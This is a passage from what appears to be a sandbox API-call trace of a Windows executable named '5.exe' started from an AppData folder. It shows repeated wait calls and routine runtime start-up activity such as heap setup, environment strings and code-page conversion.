(hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.131] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.132] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.133] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.134] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.135] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.136] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.137] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.138] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.139] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.140] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.141] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.142] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.143] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.144] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.145] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.146] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.147] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.148] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.149] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.150] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.151] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.152] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.153] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.154] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.155] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.156] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.157] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.158] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.159] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.160] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.161] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.162] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.163] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.164] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.165] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.166] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.167] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.168] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.169] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.170] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.171] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.172] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.173] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.174] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.175] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.176] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.177] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.178] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.179] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.180] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.181] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.182] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.183] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.184] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.185] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.186] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.187] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.188] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.189] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.190] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.191] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.192] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.193] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.194] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.195] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.196] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.197] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.198] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.199] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.200] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.201] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.202] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.203] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.204] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.205] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.206] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.207] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.208] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.209] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.210] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.211] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.212] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.213] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.214] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.215] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.216] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.217] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.218] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.219] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.220] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.221] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.222] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.223] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.224] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.225] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.226] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.227] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.228] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.229] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.230] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.231] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.232] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.233] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.234] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.235] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.236] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.250] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.251] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.252] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.253] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.254] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.255] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.256] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.262] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.263] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.264] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.265] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.266] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.267] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.268] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.269] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.270] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.271] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.272] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.273] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.274] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.275] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) returned 0x102 [0077.276] WaitForSingleObject (hHandle=0xac, dwMilliseconds=0x1) Process: id = "10" image_name = "5.exe" filename = "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\5.exe" page_root = "0x1c6fa000" os_pid = "0xb48" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "5" os_parent_pid = "0xad8" cmd_line = "\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\5.exe\" " cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000e9ce" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 58 os_tid = 0xb4c [0055.757] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18ff7c | out: lpSystemTimeAsFileTime=0x18ff7c*(dwLowDateTime=0xae241f30, dwHighDateTime=0x1d54670)) [0055.757] GetCurrentProcessId () returned 0xb48 [0055.757] GetCurrentThreadId () returned 0xb4c [0055.757] GetTickCount () returned 0x1cca1 [0055.757] QueryPerformanceCounter (in: lpPerformanceCount=0x18ff74 | out: lpPerformanceCount=0x18ff74*=17607745946) returned 1 [0055.800] GetStartupInfoW (in: lpStartupInfo=0x18ff20 | out: lpStartupInfo=0x18ff20*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\5.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x18ff84, hStdError=0x433961)) [0055.800] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0055.800] HeapCreate (flOptions=0x0, dwInitialSize=0x1000, dwMaximumSize=0x0) returned 0x1f10000 [0055.801] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.801] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0055.801] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0055.801] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0055.802] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0055.802] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x214) returned 0x1f107d0 [0055.802] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x76c20000 [0055.802] GetCurrentThreadId () returned 0xb4c [0055.802] GetStartupInfoW (in: lpStartupInfo=0x18febc | out: lpStartupInfo=0x18febc*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\5.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x42d407, hStdOutput=0x42d7ba, hStdError=0x1f107d0)) [0055.803] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x8, Size=0x800) returned 0x1f109f0 [0055.803] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0055.803] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0055.803] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0055.803] SetHandleCount (uNumber=0x20) returned 0x20 [0055.803] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\c3cc523b-34fa-482c-bfe9-b2817c5e36f9\\5.exe\" " [0055.803] GetEnvironmentStringsW () returned 0x611f00* [0055.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0055.803] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x0, Size=0x565) returned 0x1f111f8 [0055.803] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1f111f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0055.803] FreeEnvironmentStringsW (penv=0x611f00) returned 1 [0055.803] GetLastError () returned 0x5 [0055.803] SetLastError (dwErrCode=0x5) [0055.803] GetLastError () returned 0x5 [0055.803] SetLastError (dwErrCode=0x5) [0055.803] GetLastError () returned 0x5 [0055.803] SetLastError (dwErrCode=0x5) [0055.803] GetACP () returned 0x4e4 [0055.803] RtlAllocateHeap (HeapHandle=0x1f10000, Flags=0x0, Size=0x220) returned 0x1f11768 [0055.803] GetLastError () returned 0x5 [0055.804] SetLastError (dwErrCode=0x5) [0055.804] IsValidCodePage (CodePage=0x4e4) returned 1 [0055.804] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0055.804] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0055.804] GetLastError () returned 0x5 [0055.804] SetLastError (dwErrCode=0x5) [0055.804] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.804] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0055.804] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0055.804] GetLastError () returned 0x5 [0055.804] SetLastError (dwErrCode=0x5) [0055.804] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.804] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ熠띤뺺CĀ") returned 256 [0055.804] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ熠띤뺺CĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0055.804] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ熠띤뺺CĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ") returned 256 [0055.804] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿЀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x93\x33\x7d\xb7\x9c\xfe\x18", lpUsedDefaultChar=0x0) returned 256 [0055.804] GetLastError () returned 0x5 [0055.804] SetLastError (dwErrCode=0x5) [0055.804] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0055.804] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 